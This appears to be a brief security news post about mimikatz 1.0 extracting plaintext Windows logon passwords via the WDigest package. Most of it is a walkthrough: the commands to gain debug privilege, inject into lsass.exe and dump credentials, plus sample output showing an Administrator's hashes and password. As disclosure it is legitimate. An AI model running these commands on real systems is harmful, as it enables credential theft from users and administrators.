Credentials exposure vulnerability discovered in Windows

A new version of Windows credentials management software mimikatz 1.0 has recently been released. This new version, besides from its usual functionality, gained ability to disclose local user passwords.

Vulnerability used by mimikatz exists due to implementation of WDigest.dll library, which is a part of Windows authentication mechanism. A characteristic feature of SSO (Single Sign On) compatible HTTP Digest Authentication mechanism is the use of plain-text passwords. That is why Windows developers, probably counting on security by obscurity, decided to keep the loged in users’ creds unencrypted.

Those who want to take advantage of mimikatz to disclose local user credentials should perform these actions:

mimikatz # privilege::debug
mimikatz # inject::process lsass.exe sekurlsa.dll
mimikatz # @getLogonPasswords

You will follow similar output:

mimikatz # privilege::debug
Demande d'ACTIVATION du privilege : SeDebugPrivilege : OK

mimikatz # inject::process lsass.exe sekurlsa.dll
PROCESSENTRY32(lsass.exe).th32ProcessID = 680
Attente de connexion du client...
Serveur connecte a un client !
Message du processus :
Bienvenue dans un processus distant
                        Gentil Kiwi

SekurLSA : librairie de manipulation des donnees de securites dans LSASS

mimikatz # @getLogonPasswords

Authentification Id         : 0;248844
Package d'authentification  : NTLM
Utilisateur principal       : ANONYMOUS LOGON
Domaine d'authentification  : NT AUTHORITY
        msv1_0 :        n.t. (LUID KO)
        wdigest :       n.t. (LUID KO)
        tspkg :         n.t. (LUID KO)

Authentification Id         : 0;996
Package d'authentification  : Negotiate
Utilisateur principal       : PC01$
Domaine d'authentification  : WORKGROUP
        msv1_0 :        n.t. (LUID KO)
        wdigest :
        tspkg :         n.t. (LUID KO)

Authentification Id         : 0;575543
Package d'authentification  : NTLM
Utilisateur principal       : Administrator
Domaine d'authentification  : PC01
        msv1_0 :        lm{ 336dcb9831c8a03dka9872550c3cee6 }, ntlm{ 76af46e798f45ceb87805ba95380b39ed }
        wdigest :       password
        tspkg :         password

Authentification Id         : 0;997
Package d'authentification  : Negotiate
Utilisateur principal       : LOCAL SERVICE
Domaine d'authentification  : NT AUTHORITY
        msv1_0 :        n.t. (LUID KO)
        wdigest :
        tspkg :         n.t. (LUID KO)

Authentification Id         : 0;62105
Package d'authentification  : NTLM
Utilisateur principal       :
Domaine d'authentification  :
        msv1_0 :        n.t. (LUID KO)
        wdigest :       n.t. (LUID KO)
        tspkg :         n.t. (LUID KO)

Authentification Id         : 0;999
Package d'authentification  : NTLM
Utilisateur principal       : PC01$
Domaine d'authentification  : WORKGROUP
        msv1_0 :        n.t. (LUID KO)
        wdigest :
        tspkg :         n.t. (LUID KO)
mimikatz #

The functionality of mimikatz is currently being implemented in Metasploit Framework and can be used by cybercrooks & pentesters.

mimikatz can be downloaded here (external link).

Detailed description of the vulnerability can be viewed here.